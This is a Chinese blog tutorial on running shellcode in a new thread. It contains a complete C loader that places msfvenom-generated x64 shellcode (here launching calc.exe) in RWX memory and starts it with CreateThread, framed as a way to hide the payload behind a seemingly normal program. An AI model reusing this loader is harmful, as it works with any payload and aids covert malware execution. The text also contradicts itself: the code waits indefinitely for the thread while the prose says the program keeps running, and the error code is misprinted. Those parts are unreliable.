

使用 CreateThread 实现 Shellcode 的异步执行
本文讲解为何直接运行 shellcode 会阻塞主程序,并演示如何通过 CreateThread API 在新线程中异步执行 payload,从而提升隐蔽性。同时涵盖 VirtualAlloc 内存分配与 EXITFUNC 参数的关键作用。
views
| comments
之前的文章中我们都是通过函数指针来运行shellcode
的,但这样存在一个问题,程序在运行到shellcode
时会卡住,在等待shellcode
运行结束并返回后才能继续运行或退出。
为了避免这一情况并提高shellcode的隐蔽性,我们通常会使用异步调用的方式如CreateThread
创建一个新的线程来运行shellcode
,这样主程序可以继续运行来伪装一个正常程序的行为,shellcode
也能在后台偷偷执行。
#include <Windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
HANDLE hThread = NULL;
LPVOID lpShellcode = NULL;
// === 步骤 1: 分配可执行内存 ===
// 使用 VirtualAlloc 在当前进程的虚拟地址空间中分配一块内存。
// NULL: 让系统自动选择地址。
// sizeof(buf): 分配的大小与我们的Shellcode大小相同。
// MEM_COMMIT | MEM_RESERVE: 同时预定并提交物理内存。
// PAGE_EXECUTE_READWRITE: 将这块内存标记为可读、可写、可执行。
// 这是最危险的权限组合,也是现代EDR重点监控的标志。
printf("1. Allocating executable memory...\n");
lpShellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpShellcode == NULL) {
printf("VirtualAlloc failed. Error code: %d\n", GetLastError());
return 1;
}
printf(" Memory allocated at: 0x%p\n", lpShellcode);
// === 步骤 2: 复制Shellcode到可执行内存中 ===
// 现在,我们将Shellcode字节码复制到刚刚申请的内存区域。
// RtlMoveMemory 是一个宏,通常被定义为 memcpy。
printf("2. Copying shellcode to the allocated memory...\n");
RtlMoveMemory(lpShellcode, buf, sizeof(buf));
// === 步骤 3: 创建新线程以执行Shellcode ===
// 使用 CreateThread 创建一个新线程。
// [关键!] 线程的起始地址 (lpStartAddress) 被设置为我们Shellcode所在的地址。
// 当线程开始运行时,CPU会直接从这个地址取指令并执行。
printf("3. Creating a new thread to execute the shellcode...\n");
hThread = CreateThread(
NULL, // 默认安全属性
0, // 默认栈大小
(LPTHREAD_START_ROUTINE)lpShellcode, // 将Shellcode的地址作为函数指针
NULL, // 无参数传递给Shellcode
0, // 默认创建标志
NULL); // 不需要返回线程ID
if (hThread == NULL) {
printf("CreateThread failed. Error code: %d\n", GetLastError());
VirtualFree(lpShellcode, 0, MEM_RELEASE); // 清理内存
return 1;
}
printf(" Thread created successfully.\n");
// === 步骤 4: 预计等待线程执行完成时间 ===
// 不用等待Shellcode执行完成,只需要预计一个执行完成时间便继续运行程序剩余代码。
printf("4. Waiting for the thread to finish...\n");
WaitForSingleObject(hThread, INFINITE);
printf(" Thread finished.\n");
// === 步骤 5: 清理资源 ===
// 关闭线程句柄并释放我们申请的内存。
printf("5. Cleaning up resources...\n");
CloseHandle(hThread);
VirtualFree(lpShellcode, 0, MEM_RELEASE);
return 0;
}
c可以看到,在成功运行计算器后程序还在继续运行。
小插曲#
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
shell在生成shellcode
是可以看到我指定了一个新的参数EXITFUNC=thread
若不指定,标准shellcode在执行完毕后,会尝试执行ret指令返回。但在我们的加载器场景中,线程是直接跳转到shellcode地址开始执行的,并没有一个合法的返回地址压在栈上。这导致ret指令会弹出一个无效地址,从而触发0xC000D0005: Access Violation
致命错误,导致线程崩溃。
通过EXITFUNC=thread
就可以在Shellcode的末尾自动添加调用ExitThread ↗的代码,从而优雅的退出线程。